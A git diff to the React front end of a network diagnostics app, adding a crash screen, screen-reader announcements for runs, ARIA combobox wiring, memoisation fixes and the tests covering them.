+      <ErrorBoundary>
+        <Boom />
+      </ErrorBoundary>,
+    );
+    expect(screen.getByTestId('error-boundary').closest('.container')).not.toBeNull();
+  });
+});
diff --git a/apps/netscli-gui/src/components/primitives/ErrorBoundary.tsx b/apps/netscli-gui/src/components/primitives/ErrorBoundary.tsx
index ec8c458c..82da2028 100644
--- a/apps/netscli-gui/src/components/primitives/ErrorBoundary.tsx
+++ b/apps/netscli-gui/src/components/primitives/ErrorBoundary.tsx
@@ -1,5 +1,7 @@
 import { Component, type ErrorInfo, type ReactNode } from 'react';
 
+import { CrashScreen } from '../shell/CrashScreen';
+
 /**
  * Last line of defence against a render throw blanking the window.
  *
@@ -40,18 +42,6 @@ export class ErrorBoundary extends Component<Props, State> {
     const { error } = this.state;
     if (!error) return this.props.children;
 
-    return (
-      <div className="error-boundary" role="alert" data-testid="error-boundary">
-        <h1>Something went wrong</h1>
-        <p>
-          The window stopped rendering and could not recover. Reloading starts a fresh session; any
-          results still open will be lost.
-        </p>
-        <pre className="error-boundary-detail">{error.message}</pre>
-        <button type="button" onClick={() => window.location.reload()}>
-          Reload
-        </button>
-      </div>
-    );
+    return <CrashScreen error={error} />;
   }
 }
diff --git a/apps/netscli-gui/src/components/results/JsonPreview.tsx b/apps/netscli-gui/src/components/results/JsonPreview.tsx
index c20b9fc1..9107b7a2 100644
--- a/apps/netscli-gui/src/components/results/JsonPreview.tsx
+++ b/apps/netscli-gui/src/components/results/JsonPreview.tsx
@@ -1,9 +1,12 @@
-import type { ReactNode } from 'react';
+import { useMemo, type ReactNode } from 'react';
 
 export function JsonPreview({ value }: { value: string }) {
+  // Tokenising a large result is not cheap, and this re-rendered with the whole
+  // app on every selection change and status poll while `value` stayed the same.
+  const tokens = useMemo(() => highlightJson(value), [value]);
   return (
     <pre className="json-preview">
-      <code>{highlightJson(value)}</code>
+      <code>{tokens}</code>
     </pre>
   );
 }
diff --git a/apps/netscli-gui/src/components/results/PcapUnavailableState.tsx b/apps/netscli-gui/src/components/results/PcapUnavailableState.tsx
index 073ee03a..1866a0cd 100644
--- a/apps/netscli-gui/src/components/results/PcapUnavailableState.tsx
+++ b/apps/netscli-gui/src/components/results/PcapUnavailableState.tsx
@@ -11,7 +11,7 @@ export function PcapUnavailableState({ capability }: { capability: PcapCapabilit
   const buildWithoutPcap = !capability.compiled || capability.message?.includes("built without feature 'pcap'");
   const title = buildWithoutPcap ? 'Packet Capture is not included in this build' : 'Packet Capture needs a capture driver';
   const body = buildWithoutPcap
-    ? 'Use a PCAP-enabled NetsCLI Desktop build. On Windows, Npcap is also required before captures can run.'
+    ? 'The published desktop installers are built without packet capture, so this needs a build made from source with the pcap feature. The setup docs list the options. On Windows, Npcap is also required before captures can run.'
     : 'Install Npcap on Windows, or libpcap on Linux/macOS, then restart NetsCLI and open Packet Capture again.';
 
   return (
diff --git a/apps/netscli-gui/src/components/shell/CrashScreen.tsx b/apps/netscli-gui/src/components/shell/CrashScreen.tsx
new file mode 100644
index 00000000..b97e51b9
--- /dev/null
+++ b/apps/netscli-gui/src/components/shell/CrashScreen.tsx
@@ -0,0 +1,39 @@
+import { appWindowAction } from '../../services/appWindow';
+import { AppFrame } from './AppFrame';
+import { handleAppFrameMouseDown } from './appFrameDrag';
+
+/**
+ * What replaces the window when a render throws. See `ErrorBoundary`.
+ *
+ * Two things the first version of this lacked, both from the same cause: it
+ * renders where nothing of the app is mounted.
+ *
+ * The colour tokens are defined on `.container` alone, so outside it the text
+ * took the operating system's colour on a page that is dark whatever the
+ * theme, which is black on near-black for anyone on a light theme. And the
+ * window has no native title bar (`decorations: false`), so with the app's own
+ * frame gone there was nothing to move, minimise or close it with.
+ */
+export function CrashScreen({ error }: { error: Error }) {
+  return (
+    <div className="container theme-dark">
+      <AppFrame
+        onDragStart={handleAppFrameMouseDown}
+        onWindowAction={(action) => void appWindowAction(action)}
+      >
+        {null}
+      </AppFrame>
+      <div className="error-boundary" role="alert" data-testid="error-boundary">
+        <h1>Something went wrong</h1>
+        <p>
+          The window stopped rendering and could not recover. Reloading starts a fresh session; any
+          results still open will be lost.
+        </p>
+        <pre className="error-boundary-detail">{error.message}</pre>
+        <button type="button" onClick={() => window.location.reload()}>
+          Reload
+        </button>
+      </div>
+    </div>
+  );
+}
diff --git a/apps/netscli-gui/src/components/shell/RunAnnouncer.test.tsx b/apps/netscli-gui/src/components/shell/RunAnnouncer.test.tsx
new file mode 100644
index 00000000..ab7679a2
--- /dev/null
+++ b/apps/netscli-gui/src/components/shell/RunAnnouncer.test.tsx
@@ -0,0 +1,106 @@
+// @vitest-environment jsdom
+//
+// What a screen reader hears while a run is going. Only the live region's text
+// is checked, because that is the whole of what reaches the user: if the region
+// does not change, nothing is spoken.
+
+import { render, screen } from '@testing-library/react';
+import { describe, expect, it } from 'vitest';
+
+import { createTab } from '../../tools/registry';
+import type { OperationProgressState, WorkspaceTab } from '../../tools/types';
+import { RunAnnouncer } from './RunAnnouncer';
+
+const scan = createTab('scan');
+
+function running(progress?: Partial<OperationProgressState>): WorkspaceTab {
+  return {
+    ...scan,
+    busy: true,
+    progress: { kind: 'scan', completed: 0, total: 0, found: 0, ...progress },
+  };
+}
+
+function spoken() {
+  return screen.getByRole('status').textContent;
+}
+
+describe('RunAnnouncer', () => {
+  it('is a polite live region that exists before anything is said', () => {
+    render(<RunAnnouncer tab={scan} />);
+    const region = screen.getByRole('status');
+    expect(region.getAttribute('aria-live')).toBe('polite');
+    expect(spoken()).toBe('');
+  });
+
+  it('announces the start and the end of a run, with its summary', () => {
+    const { rerender } = render(<RunAnnouncer tab={scan} />);
+
+    rerender(<RunAnnouncer tab={running()} />);
+    expect(spoken()).toBe('Port Scan started');
+
+    const result = {
+      kind: 'scan',
+      data: [
+        { port: 22, open: true },
+        { port: 80, open: false },
+      ],
+    } as never;
+    rerender(<RunAnnouncer tab={{ ...scan, result }} />);
+    expect(spoken()).toBe('Port Scan complete. 2 results - 1 open');
+  });
+
+  it('says a stopped run stopped, and leaves a failed run to the error strip', () => {
+    const { rerender } = render(<RunAnnouncer tab={scan} />);
+    rerender(<RunAnnouncer tab={running()} />);
+    rerender(<RunAnnouncer tab={scan} />);
+    expect(spoken()).toBe('Port Scan stopped');
+
+    rerender(<RunAnnouncer tab={running()} />);
+    rerender(<RunAnnouncer tab={{ ...scan, error: 'Connection refused' }} />);
+    // Still the start message: no second voice for the same failure.
+    expect(spoken()).toBe('Port Scan started');
+  });
+
+  it('reports progress a quarter at a time, not on every event', () => {
+    const { rerender } = render(<RunAnnouncer tab={scan} />);
+    rerender(<RunAnnouncer tab={running({ completed: 0, total: 1000 })} />);
+
+    const heard: string[] = [];
+    for (let completed = 10; completed <= 900; completed += 10) {
+      rerender(<RunAnnouncer tab={running({ completed, total: 1000 })} />);
+      const text = spoken() ?? '';
+      if (heard[heard.length - 1] !== text) heard.push(text);
+    }
+    expect(heard).toEqual([
+      'Port Scan started',
+      'Port Scan, 25% complete',
+      'Port Scan, 50% complete',
+      'Port Scan, 75% complete',
+    ]);
+  });
+
+  it('keeps quiet when the person switches to another tab', () => {
+    const other = createTab('ping');
+    const { rerender } = render(<RunAnnouncer tab={scan} />);
+    // The tab shown now is mid-run, which is not something that just happened.
+    rerender(<RunAnnouncer tab={{ ...other, busy: true }} />);
+    expect(spoken()).toBe('');
+  });
+
+  it('does not turn a trace into a percentage', () => {
+    const trace = createTab('trace');
+    const { rerender } = render(<RunAnnouncer tab={trace} />);
+    rerender(<RunAnnouncer tab={{ ...trace, busy: true }} />);
+    rerender(
+      <RunAnnouncer
+        tab={{
+          ...trace,
+          busy: true,
+          progress: { kind: 'trace', completed: 12, total: 30, found: 0 },
+        }}
+      />,
+    );
+    expect(spoken()).toBe('Trace Route started');
+  });
+});
diff --git a/apps/netscli-gui/src/components/shell/RunAnnouncer.tsx b/apps/netscli-gui/src/components/shell/RunAnnouncer.tsx
new file mode 100644
index 00000000..77c61015
--- /dev/null
+++ b/apps/netscli-gui/src/components/shell/RunAnnouncer.tsx
@@ -0,0 +1,94 @@
+import { useEffect, useRef, useState } from 'react';
+
+import { resultSummary } from '../../tools/presentation';
+import { TOOL_CONFIG } from '../../tools/registry';
+import type { WorkspaceTab } from '../../tools/types';
+
+/**
+ * Says what the active tab's run is doing to people who cannot see it.
+ *
+ * Until this existed the main flow was silent to a screen reader at stock
+ * settings. The progress bar has no live text, and a result arriving in the
+ * table is only a completion signal if you can see the table. The toasts that
+ * are live regions are opt-in and off by default, so they could not be the
+ * answer. A failed run is not announced here: the error strip is a `role=alert`
+ * and says it itself.
+ *
+ * Deliberately sparse. A run says when it starts, at each quarter of the way
+ * through (at most three times for each step it has), and when it ends. A
+ * progress event every 100 ms read aloud would be unusable.
+ *
+ * It only follows the tab being looked at. A run finishing in a background tab
+ * is what the "operation toasts" setting is for.
+ */
+export function RunAnnouncer({ tab }: { tab: WorkspaceTab | undefined }) {
+  const [message, setMessage] = useState('');
+  const before = useRef<RunSnapshot | null>(null);
+
+  useEffect(() => {
+    const next = announcement(before.current, tab);
+    before.current = next.snapshot;
+    if (next.message) setMessage(next.message);
+  }, [tab]);
+
+  // Rendered even when empty. A screen reader only announces changes inside a
+  // live region that already existed, which is why ToastHost does the same.
+  return (
+    <div className="sr-only" role="status" aria-live="polite" aria-atomic="true">
+      {message}
+    </div>
+  );
+}
+
+interface RunSnapshot {
+  tabId: string;
+  busy: boolean;
+  /** How many quarters of the current step are done, 0 to 3. */
+  quarter: number;
+}
+
+/** What to say now, given how the tab looked the last time this was asked. */
+function announcement(
+  before: RunSnapshot | null,
+  tab: WorkspaceTab | undefined,
+): { snapshot: RunSnapshot | null; message: string | null } {
+  if (!tab) return { snapshot: null, message: null };
+  const snapshot = snapshotOf(tab);
+  // The first sight of a tab, or a switch to another one. Nothing has
+  // happened that the person did not just do themselves.
+  if (!before || before.tabId !== tab.id) return { snapshot, message: null };
+
+  const label = TOOL_CONFIG[tab.kind].label;
+  if (!before.busy && tab.busy) return { snapshot, message: `${label} started` };
+
+  if (before.busy && !tab.busy) {
+    // The error strip announces its own message.
+    if (tab.error) return { snapshot, message: null };
+    // Stop clears the result of every tool except trace, which keeps the hops
+    // it had printed, so a stopped trace reads as complete with those hops.
+    return {
+      snapshot,
+      message: tab.result ? `${label} complete. ${resultSummary(tab.result)}` : `${label} stopped`,
+    };
+  }
+
+  // Only a step forward is news. A run with two steps (discover probes, then
+  // resolves names) restarts its count for the second, which is not one.
+  if (tab.busy && snapshot.quarter > before.quarter) {
+    return { snapshot, message: `${label}, ${snapshot.quarter * 25}% complete` };
+  }
+  return { snapshot, message: null };
+}
+
+function snapshotOf(tab: WorkspaceTab): RunSnapshot {
+  const total = tab.progress?.total ?? 0;
+  const completed = tab.progress?.completed ?? 0;
+  // A trace reports the hop it has reached out of the maximum, and almost
+  // always ends well short of it, so a percentage would say something false.
+  const counted = tab.busy && total > 0 && tab.kind !== 'trace';
+  return {
+    tabId: tab.id,
+    busy: tab.busy,
+    quarter: counted ? Math.min(3, Math.floor((completed / total) * 4)) : 0,
+  };
+}
diff --git a/apps/netscli-gui/src/components/shell/TabStrip.a11y.test.tsx b/apps/netscli-gui/src/components/shell/TabStrip.a11y.test.tsx
index a342c161..f8fe1db1 100644
--- a/apps/netscli-gui/src/components/shell/TabStrip.a11y.test.tsx
+++ b/apps/netscli-gui/src/components/shell/TabStrip.a11y.test.tsx
@@ -56,6 +56,17 @@ describe('tab strip keyboard access', () => {
     expect(tabIndexes).toEqual(['-1', '0', '-1']);
   });
 
+  // The close buttons sit inside the tabs. A button is a tab stop by default,
+  // so each one added a stop of its own to a strip meant to be a single one,
+  // and an ARIA tab's children are presentational, so a screen reader had no
+  // button to offer there anyway. Delete closes the focused tab by keyboard.
+  it('keeps the close buttons out of the tab order', () => {
+    renderStrip(1);
+    const closeButtons = Array.from(document.querySelectorAll<HTMLElement>('button.tab-close'));
+    expect(closeButtons).toHaveLength(3);
+    expect(closeButtons.map((el) => el.getAttribute('tabindex'))).toEqual(['-1', '-1', '-1']);
+  });
+
   it('moves to the next tab on ArrowRight and wraps at the end', () => {
     const { tabs, onSelectTab } = renderStrip(2);
     const active = screen.getAllByRole('tab')[2];
diff --git a/apps/netscli-gui/src/components/shell/TabStrip.tsx b/apps/netscli-gui/src/components/shell/TabStrip.tsx
index 70ab7c95..b9d0cc79 100644
--- a/apps/netscli-gui/src/components/shell/TabStrip.tsx
+++ b/apps/netscli-gui/src/components/shell/TabStrip.tsx
@@ -203,6 +203,7 @@ export function TabStrip({
                   aria-label={`Close ${identity.label} tab`}
                   data-tooltip="Close Tab"
                   data-tooltip-placement="bottom"
+                  tabIndex={-1}
                   onClick={(event) => {
                     event.stopPropagation();
                     onCloseTab(tab.id);
diff --git a/apps/netscli-gui/src/components/shell/ToastHost.test.tsx b/apps/netscli-gui/src/components/shell/ToastHost.test.tsx
index 5faaae1d..23b61908 100644
--- a/apps/netscli-gui/src/components/shell/ToastHost.test.tsx
+++ b/apps/netscli-gui/src/components/shell/ToastHost.test.tsx
@@ -86,4 +86,16 @@ describe('ToastHost update toast', () => {
     );
     expect(screen.getByTestId('update-dialog')).toBeTruthy();
   });
+
+  // The toast region is polite and atomic, so it reads out everything inside
+  // it whenever anything inside it changes. The dialog's progress text changes
+  // many times a second during a download, and sat in there, which meant the
+  // whole dialog was read out again for each change.
+  it('keeps the dialog out of the atomic live region', () => {
+    renderToast(
+      true,
+      updates({ dialogOpen: true, pendingUpdate: { version: '0.4.0', body: 'notes' } }),
+    );
+    expect(screen.getByTestId('update-dialog').closest('[aria-atomic="true"]')).toBeNull();
+  });
 });
diff --git a/apps/netscli-gui/src/components/shell/ToastHost.tsx b/apps/netscli-gui/src/components/shell/ToastHost.tsx
index 85018805..1746aae3 100644
--- a/apps/netscli-gui/src/components/shell/ToastHost.tsx
+++ b/apps/netscli-gui/src/components/shell/ToastHost.tsx
@@ -32,15 +32,23 @@ export function ToastHost({ appVersion, dismissToast, setActiveTabId, toast, upd
   //
   // `.toast` is `position: absolute`, and a static wrapper does not create a
   // containing block, so this does not move it.
+  //
+  // The update dialog is not inside it. The region is atomic, so it reads
+  // out everything in it whenever anything in it changes, and the dialog's
+  // own status line changes with every step of a download. That read the
+  // whole dialog out again each time. The dialog has its own live region for
+  // the progress text.
   return (
-    <div role="status" aria-live="polite" aria-atomic="true">
-      {toast && <ToastButton
-        actionLabel={actionLabel}
-        dismissToast={dismissToast}
-        openUpdateDialog={updates.openDialog}
-        setActiveTabId={setActiveTabId}
-        toast={toast}
-      />}
+    <>
+      <div role="status" aria-live="polite" aria-atomic="true">
+        {toast && <ToastButton
+          actionLabel={actionLabel}
+          dismissToast={dismissToast}
+          openUpdateDialog={updates.openDialog}
+          setActiveTabId={setActiveTabId}
+          toast={toast}
+        />}
+      </div>
       {updates.dialogOpen && update && (
         <UpdateDialog
           currentVersion={appVersion}
@@ -56,7 +64,7 @@ export function ToastHost({ appVersion, dismissToast, setActiveTabId, toast, upd
           onSkip={() => updates.skipVersion(update.version)}
         />
       )}
-    </div>
+    </>
   );
 }
 
diff --git a/apps/netscli-gui/src/components/shell/Toolbar.test.tsx b/apps/netscli-gui/src/components/shell/Toolbar.test.tsx
new file mode 100644
index 00000000..53c41896
--- /dev/null
+++ b/apps/netscli-gui/src/components/shell/Toolbar.test.tsx
@@ -0,0 +1,60 @@
+// @vitest-environment jsdom
+//
+// The filter hints are built from every row of the result. They only change
+// when the result does, but the toolbar re-renders with the whole app, so
+// building them in the render body redid that work for each keystroke in the
+// filter box, each selection change and each status poll.
+
+import { render } from '@testing-library/react';
+import { describe, expect, it, vi } from 'vitest';
+
+import { createTab } from '../../tools/registry';
+import type { WorkspaceTab } from '../../tools/types';
+
+vi.mock('../../tools/presentation', async (importOriginal) => {
+  const actual = await importOriginal<typeof import('../../tools/presentation')>();
+  return { ...actual, filterHintsFor: vi.fn(actual.filterHintsFor) };
+});
+
+const { filterHintsFor } = await import('../../tools/presentation');
+const { Toolbar } = await import('./Toolbar');
+
+function toolbar(tab: WorkspaceTab, filterText: string) {
+  return (
+    <Toolbar
+      activeTab={tab}
+      filterText={filterText}
+      openMenu={null}
+      setOpenMenu={vi.fn()}
+      setFilterText={vi.fn()}
+      onCancelActive={vi.fn()}
+      onExportCsv={vi.fn()}
+      onExportJson={vi.fn()}
+      onRunActive={vi.fn()}
+      onRunActiveWithArpClear={vi.fn()}
+    />
+  );
+}
+
+describe('Toolbar filter hints', () => {
+  it('are built once per result, not once per render', () => {
+    const tab = { ...createTab('scan'), result: { kind: 'scan', data: [] } } as WorkspaceTab;
+    vi.mocked(filterHintsFor).mockClear();
+
+    const { rerender } = render(toolbar(tab, ''));
+    rerender(toolbar(tab, 'status:open'));
+    rerender(toolbar({ ...tab, selectedIndex: 3 }, 'status:open 22'));
+
+    expect(filterHintsFor).toHaveBeenCalledTimes(1);
+  });
+
+  it('are built again for a new result', () => {
+    const tab = { ...createTab('scan'), result: { kind: 'scan', data: [] } } as WorkspaceTab;
+    vi.mocked(filterHintsFor).mockClear();
+
+    const { rerender } = render(toolbar(tab, ''));
+    rerender(toolbar({ ...tab, result: { kind: 'scan', data: [] } } as WorkspaceTab, ''));
+
+    expect(filterHintsFor).toHaveBeenCalledTimes(2);
+  });
+});
diff --git a/apps/netscli-gui/src/components/shell/Toolbar.tsx b/apps/netscli-gui/src/components/shell/Toolbar.tsx
index 54b95c71..a91ad69e 100644
--- a/apps/netscli-gui/src/components/shell/Toolbar.tsx
+++ b/apps/netscli-gui/src/components/shell/Toolbar.tsx
@@ -1,5 +1,5 @@
 import { ChevronDown, Download, FileSpreadsheet, Filter, Square, X } from 'lucide-react';
-import { useRef, type RefObject } from 'react';
+import { useMemo, useRef, type RefObject } from 'react';
 
 import { TOOL_CONFIG } from '../../tools/registry';
 import { filterHintsFor } from '../../tools/presentation';
@@ -39,7 +39,15 @@ export function Toolbar({
 }: ToolbarProps) {
   const filterMenuOpen = openMenu === 'advanced-filter';
   const kind = activeTab?.kind ?? 'scan';
-  const filterHints = filterHintsFor(activeTab);
+  // Builds every row of the result and scans each column for its values, and
+  // depends on nothing but the tab's kind and result. Done in the render body
+  // it was redone for every progress event, selection change and status poll.
+  const hintsKind = activeTab?.kind;
+  const hintsResult = activeTab?.result ?? null;
+  const filterHints = useMemo(
+    () => filterHintsFor(hintsKind ? { kind: hintsKind, result: hintsResult } : undefined),
+    [hintsKind, hintsResult],
+  );
   const runLabel = activeTab ? runLabelFor(kind) : 'Start';
   const filterButtonRef = useRef<HTMLButtonElement | null>(null);
   const filterPanelRef = useRef<HTMLDivElement | null>(null);
diff --git a/apps/netscli-gui/src/components/shell/UpdateDialog.tsx b/apps/netscli-gui/src/components/shell/UpdateDialog.tsx
index 341c807c..1362ed20 100644
--- a/apps/netscli-gui/src/components/shell/UpdateDialog.tsx
+++ b/apps/netscli-gui/src/components/shell/UpdateDialog.tsx
@@ -76,7 +76,8 @@ export function UpdateDialog({
             <h2 id="update-title">NetsCLI {version} is available</h2>
             <p id="update-summary">
               You have {currentVersion}. The update is checked against NetsCLI&apos;s signing key
-              before it installs, and the app restarts to finish.
+              before it installs. NetsCLI closes to finish and should reopen by itself. If it does
+              not, open it again.
             </p>
           </div>
           <button
diff --git a/apps/netscli-gui/src/components/shell/WorkspaceSearchDialog.test.tsx b/apps/netscli-gui/src/components/shell/WorkspaceSearchDialog.test.tsx
new file mode 100644
index 00000000..393d0d60
--- /dev/null
+++ b/apps/netscli-gui/src/components/shell/WorkspaceSearchDialog.test.tsx
@@ -0,0 +1,59 @@
+// @vitest-environment jsdom
+//
+// Focus stays in the search box while the arrow keys move through the results,
+// so what a screen reader hears about the current result comes from
+// `aria-activedescendant` alone.
+
+import { fireEvent, render, screen } from '@testing-library/react';
+import { beforeEach, describe, expect, it, vi } from 'vitest';
+
+import { createTab } from '../../tools/registry';
+import { WorkspaceSearchDialog } from './WorkspaceSearchDialog';
+
+beforeEach(() => {
+  // jsdom does not implement scrolling, which the dialog does to keep the
+  // current result in view.
+  Element.prototype.scrollIntoView = vi.fn();
+});
+
+function renderSearch() {
+  const tabs = [createTab('scan'), createTab('ping'), createTab('dns')];
+  render(
+    <WorkspaceSearchDialog
+      history={[]}
+      tabs={tabs}
+      onClose={vi.fn()}
+      onOpenHistoryEntry={vi.fn()}
+      onSelectRow={vi.fn()}
+      onSelectTab={vi.fn()}
+    />,
+  );
+  return screen.getByTestId('workspace-search-input');
+}
+
+function currentOptionId(input: HTMLElement) {
+  const id = input.getAttribute('aria-activedescendant');
+  expect(id, 'the search box names no current result').toBeTruthy();
+  const option = document.getElementById(id ?? '');
+  expect(option, `no element has the id ${id}`).not.toBeNull();
+  expect(option?.getAttribute('aria-selected')).toBe('true');
+  return id;
+}
+
+describe('workspace search', () => {
+  it('points the search box at the current result', () => {
+    const input = renderSearch();
+    const first = currentOptionId(input);
+
+    fireEvent.keyDown(input, { key: 'ArrowDown' });
+    const second = currentOptionId(input);
+    expect(second).not.toBe(first);
+  });
+
+  it('is a combobox that controls the result list', () => {
+    const input = renderSearch();
+    expect(input.getAttribute('role')).toBe('combobox');
+    const listbox = document.getElementById(input.getAttribute('aria-controls') ?? '');
+    expect(listbox?.getAttribute('role')).toBe('listbox');
+  });
+});
diff --git a/apps/netscli-gui/src/components/shell/WorkspaceSearchDialog.tsx b/apps/netscli-gui/src/components/shell/WorkspaceSearchDialog.tsx
index 961f7678..a305a181 100644
--- a/apps/netscli-gui/src/components/shell/WorkspaceSearchDialog.tsx
+++ b/apps/netscli-gui/src/components/shell/WorkspaceSearchDialog.tsx
@@ -42,6 +42,12 @@ type SearchItem =
       entry: HistoryEntry;
     };
 
+const LISTBOX_ID = 'workspace-search-listbox';
+
+/** By position rather than from the item's own id, which can hold spaces, and
+ *  an id reference cannot. */
+const optionId = (index: number) => `workspace-search-option-${index}`;
+
 export function WorkspaceSearchDialog({
   history,
   tabs,
@@ -56,7 +62,8 @@ export function WorkspaceSearchDialog({
   const [activeIndex, setActiveIndex] = useState(0);
   const items = useMemo(() => searchItemsFor(tabs, history), [history, tabs]);
   const matches = useMemo(() => filterItems(items, query).slice(0, 40), [items, query]);
-  const activeItem = matches[Math.min(activeIndex, Math.max(0, matches.length - 1))];
+  const activeOption = Math.min(activeIndex, Math.max(0, matches.length - 1));
+  const activeItem = matches[activeOption];
 
   useModalFocus({ dialogRef, onClose });
 
@@ -128,13 +135,22 @@ export function WorkspaceSearchDialog({
       >
         <div className="workspace-search-input">
           <Search size={15} />
+          {/* Focus stays here while the arrow keys move through the results, so
+              a screen reader is told which result is current through
+              `aria-activedescendant`. Without it the highlighted row changed
+              and nothing was announced. */}
           <input
+            aria-activedescendant={activeItem ? optionId(activeOption) : undefined}
+            aria-autocomplete="list"
+            aria-controls={LISTBOX_ID}
+            aria-expanded={matches.length > 0}
             aria-label="Search workspace"
             autoCapitalize="off"
             autoCorrect="off"
             autoFocus
             data-testid="workspace-search-input"
             placeholder="Search tabs, results, and history"
+            role="combobox"
             spellCheck={false}
             value={query}
             onChange={(event) => {
@@ -147,7 +163,7 @@ export function WorkspaceSearchDialog({
           </button>
         </div>
 
-        <div className="workspace-search-results" ref={resultsRef} role="listbox">
+        <div className="workspace-search-results" id={LISTBOX_ID} ref={resultsRef} role="listbox">
           {matches.length === 0 ? (
             <span className="workspace-search-empty">No workspace matches.</span>
           ) : (
@@ -155,6 +171,7 @@ export function WorkspaceSearchDialog({
               <button
                 aria-selected={item === activeItem}
                 className={item === activeItem ? 'active' : ''}
+                id={optionId(index)}
                 key={item.id}
                 role="option"
                 type="button"
diff --git a/apps/netscli-gui/src/components/shell/WorkspaceView.test.tsx b/apps/netscli-gui/src/components/shell/WorkspaceView.test.tsx
new file mode 100644
index 00000000..77f8a356
--- /dev/null
+++ b/apps/netscli-gui/src/components/shell/WorkspaceView.test.tsx
@@ -0,0 +1,66 @@
+// @vitest-environment jsdom
+//
+// The parts of the workspace that speak to a screen reader: a failed run and
+// the run's progress. Neither is visible in a snapshot or caught by a type, and
+// both went unannounced at stock settings until these were added, so the test
+// goes through the real view rather than the pieces.
+
+import { render, screen } from '@testing-library/react';
+import { describe, expect, it, vi } from 'vitest';
+
+import type { WorkspaceTab } from '../../tools/types';
+
+// The table, form and detail pane have nothing to say about announcements and
+// need a great deal of state to render.
+vi.mock('../results/ResultTable', () => ({ ResultTable: () => null }));
+vi.mock('../results/DetailPane', () => ({ DetailPane: () => null }));
+vi.mock('../tools/ToolForm', () => ({ ToolForm: () => null }));
+
+const { WorkspaceView } = await import('./WorkspaceView');
+const { createTab } = await import('../../tools/registry');
+
+function view(tab: WorkspaceTab) {
+  const workspace = {
+    activeTab: tab,
+    columns: [],
+    commandPreview: 'netscli scan 127.0.0.1',
+    copyCommand: vi.fn(),
+    filterText: '',
+    interfaces: [],
+    patchForm: vi.fn(),
+    patchTab: vi.fn(),
+    rows: [],
+    selectedRows: [],
+  } as never;
+  return (
+    <WorkspaceView
+      commandBarVisible={false}
+      pcapCapability={{ compiled: true, available: true, interfaces: [], message: null }}
+      toolCapabilities={{}}
+      workspace={workspace}
+      onContentContextMenu={vi.fn()}
+      onRequestRun={vi.fn()}
+    />
+  );
+}
+
+describe('WorkspaceView announcements', () => {
+  it('announces a failed run as an alert', () => {
+    render(view({ ...createTab('scan'), error: 'Host is required' }));
+    expect(screen.getByRole('alert').textContent).toBe('Host is required');
+  });
+
+  it('says nothing when there is no error', () => {
+    render(view(createTab('scan')));
+    expect(screen.queryByRole('alert')).toBeNull();
+  });
+
+  it('announces the start of a run without any setting turned on', () => {
+    const tab = createTab('scan');
+    const { rerender } = render(view(tab));
+    expect(screen.getByRole('status').textContent).toBe('');
+
+    rerender(view({ ...tab, busy: true }));
+    expect(screen.getByRole('status').textContent).toBe('Port Scan started');
+  });
+});
diff --git a/apps/netscli-gui/src/components/shell/WorkspaceView.tsx b/apps/netscli-gui/src/components/shell/WorkspaceView.tsx
index e110028b..0f0b2033 100644
--- a/apps/netscli-gui/src/components/shell/WorkspaceView.tsx
+++ b/apps/netscli-gui/src/components/shell/WorkspaceView.tsx
@@ -7,6 +7,7 @@ import { ResultTable } from '../results/ResultTable';
 import { WarningStrip, warningMessageFor } from '../results/WarningStrip';
 import { ToolForm } from '../tools/ToolForm';
 import { CommandStrip } from './CommandStrip';
+import { RunAnnouncer } from './RunAnnouncer';
 import type { ResultCellContext, ToolCapabilityMap, ToolKind } from '../../tools/types';
 import type { PcapCapability } from '../../types/netscli';
 import type { WorkspaceModel } from '../../workspace/types';
@@ -38,6 +39,7 @@ export function WorkspaceView({
 
   return (
     <main className="workspace">
+      <RunAnnouncer tab={activeTab} />
       {activeTab ? (
         <>
           <section className="active-form">
@@ -49,7 +51,11 @@ export function WorkspaceView({
             />
           </section>
 
-          {activeTab.error && <div className="error-strip">{activeTab.error}</div>}
+          {activeTab.error && (
+            <div className="error-strip" role="alert">
+              {activeTab.error}
+            </div>
+          )}
           {showWarning && warningKey ? (
             <WarningStrip
               message={warningMessage ?? ''}
diff --git a/apps/netscli-gui/src/hooks/useKeyboardShortcuts.test.tsx b/apps/netscli-gui/src/hooks/useKeyboardShortcuts.test.tsx
new file mode 100644
index 00000000..e61b7411
--- /dev/null
+++ b/apps/netscli-gui/src/hooks/useKeyboardShortcuts.test.tsx
@@ -0,0 +1,54 @@
+// @vitest-environment jsdom
+//
+// Escape has two meanings here: stop the run, and close whatever is open. The
+// run must only be stopped when nothing is open, because the close is done by
+// a listener that runs after this one and would otherwise find a run already
+// cancelled and the user none the wiser about why.
+
+import { renderHook } from '@testing-library/react';
+import { afterEach, describe, expect, it, vi } from 'vitest';
+
+import { createTab } from '../tools/registry';
+import { useKeyboardShortcuts } from './useKeyboardShortcuts';
+
+function mountWithRunningTab() {
+  const cancelTab = vi.fn(() => Promise.resolve());
+  const workspace = { activeTab: { ...createTab('scan'), busy: true }, cancelTab } as never;
+  renderHook(() =>
+    useKeyboardShortcuts({
+      focusResultFilter: vi.fn(),
+      openMenu: null,
+      requestRun: vi.fn(),
+      setOpenMenu: vi.fn(),
+      setSettingsOpen: vi.fn(),
+      settingsOpen: false,
+      setWorkspaceSearchOpen: vi.fn(),
+      workspace,
+      workspaceSearchOpen: false,
+    }),
+  );
+  return cancelTab;
+}
+
+function pressEscape() {
+  document.dispatchEvent(new KeyboardEvent('keydown', { key: 'Escape', bubbles: true, cancelable: true }));
+}
+
+afterEach(() => {
+  document.body.innerHTML = '';
+});
+
+describe('Escape while a run is active', () => {
+  it('stops the run when nothing else is open', () => {
+    const cancelTab = mountWithRunningTab();
+    pressEscape();
+    expect(cancelTab).toHaveBeenCalledTimes(1);
+  });
+
+  it.each(['dialog', 'menu'])('leaves the run alone while a %s is open', (role) => {
+    const cancelTab = mountWithRunningTab();
+    document.body.innerHTML = `<div role="${role}"></div>`;
+    pressEscape();
+    expect(cancelTab).not.toHaveBeenCalled();
+  });
+});
diff --git a/apps/netscli-gui/src/hooks/useKeyboardShortcuts.ts b/apps/netscli-gui/src/hooks/useKeyboardShortcuts.ts
index 0880ab9f..d62dda94 100644
--- a/apps/netscli-gui/src/hooks/useKeyboardShortcuts.ts
+++ b/apps/netscli-gui/src/hooks/useKeyboardShortcuts.ts
@@ -92,6 +92,12 @@ export function useKeyboardShortcuts({
       }
 
       if (event.key === 'Escape' && activeTab.busy) {
+        // The press belongs to whatever is open on top of the run. Dialogs and
+        // menus close themselves from their own `document` listeners, which
+        // are added after this one and so run after it, still looking at an
+        // unhandled Escape. Without this, dismissing the About dialog or a
+        // context menu stopped the scan underneath it.
+        if (document.querySelector('[role="dialog"], [role="menu"]')) return;
         event.preventDefault();
         void workspace.cancelTab(activeTab.id);
         return;
